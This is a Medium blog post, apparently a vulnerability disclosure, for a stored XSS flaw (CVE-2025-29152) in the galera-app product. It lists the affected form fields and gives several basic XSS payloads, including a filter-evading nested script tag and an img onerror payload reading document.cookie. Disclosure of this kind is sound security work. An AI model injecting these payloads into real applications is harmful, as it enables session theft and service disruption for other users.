
PoC-CVE-2025–29152

Wellington Almeida Follow 4 min read · Jan 30, 2025

Vendor: lemeconsultoria

Product: galera-app

Version: 4.58.0

CVE ID: CVE-2025–29152

Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Affected Components: News Registration, Employee Editing, Goal Team
Registration, Learning Resource Type Registration, Learning Resource
Family Registration, Learning Resource Supplier Registration, Cycle
Maintenance

Inputs Affected:

Strategic Planning Perspective Registration — description

Training Request — course and competency

Open in app Sign up Sign in

Search Write

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Sign up for free

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Try for $5/month
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Perspective Editing — description

Education Registration — description

Hierarchical Level Registration — description

Decision Level Registration — description

Perspective Registration — description

Company Group Registration — description

Company Registration — description

News Registration — title

Employee Editing — observation

Goal Team Registration — description

Learning Resource Type Registration — description

Learning Resource Family Registration — description

Learning Resource Supplier Registration — description, observation, and
email

Cycle Maintenance — cycle description

Initially, I discovered an HTML injection using basic payloads, which I then
escalated to an XSS exploit. I was able to demonstrate the attack using basic
payloads and by capturing document.cookie.

Some of the XSS payloads used:

<script>alert(‘XSS’)</script>

<scr<script>ipt>alert(‘XSS’)</scr<script>ipt>

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



<script>alert(1)</script>

<img src=”x” onerror=”alert(document.cookie)”>

The XSS vulnerability was found in different inputs of the application
developed by Leme Consultoria. Here is a link with details about the
application: https://lemeconsultoria.com.br/galera-app/.

Strategic Planning Perspective Registration > description
Reproduction

Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

https://lemeconsultoria.com.br/galera-app/


Training Request > course and competency
Reproduction
<script>alert('teste')</script>

Result
XSS causes the page feature to enter a loop, resulting in total unavailability.Sign up to discover human stories that deepen your understanding of the

world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Perspective Editing > description
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Education Registration > description
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Hierarchical Level Registration > description
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Decision Level Registration > description
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Perspective Registration > description
Reproduction

Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Company Group Registration > description
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Company Registration > description
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



News Registration > title
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Stored XSS appearing to other users when accessing the news.

Employee Editing > observation
Reproduction

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



ResultSign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Goal Team Registration > description
Reproduction

Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Learning Resource Type Registration > description
Reproduction

Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Learning Resource Family Registration > description
Reproduction

Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Learning Resource Supplier Registration > description, observation, and
email
Reproduction

Result

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app



Cycle Maintenance > cycle description
Reproduction

Result

Written by Wellington Almeida
0 followers · 1 following

Follow

Sign up to discover human stories that deepen your understanding of the
world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and
highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app
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More from Wellington Almeida

What are your thoughts?

Shark Jack — Primeiro Mergulho
Primeiros passos com Shark Jack, aprenda a
realizar sua primeira PoC

May 8, 2023
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Aprenda a configurar um Evil Portal no WiFi
Pineapple Mark 7 — Hak5

May 6, 2023
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Sign up to discover human stories that deepen your understanding of the
world.
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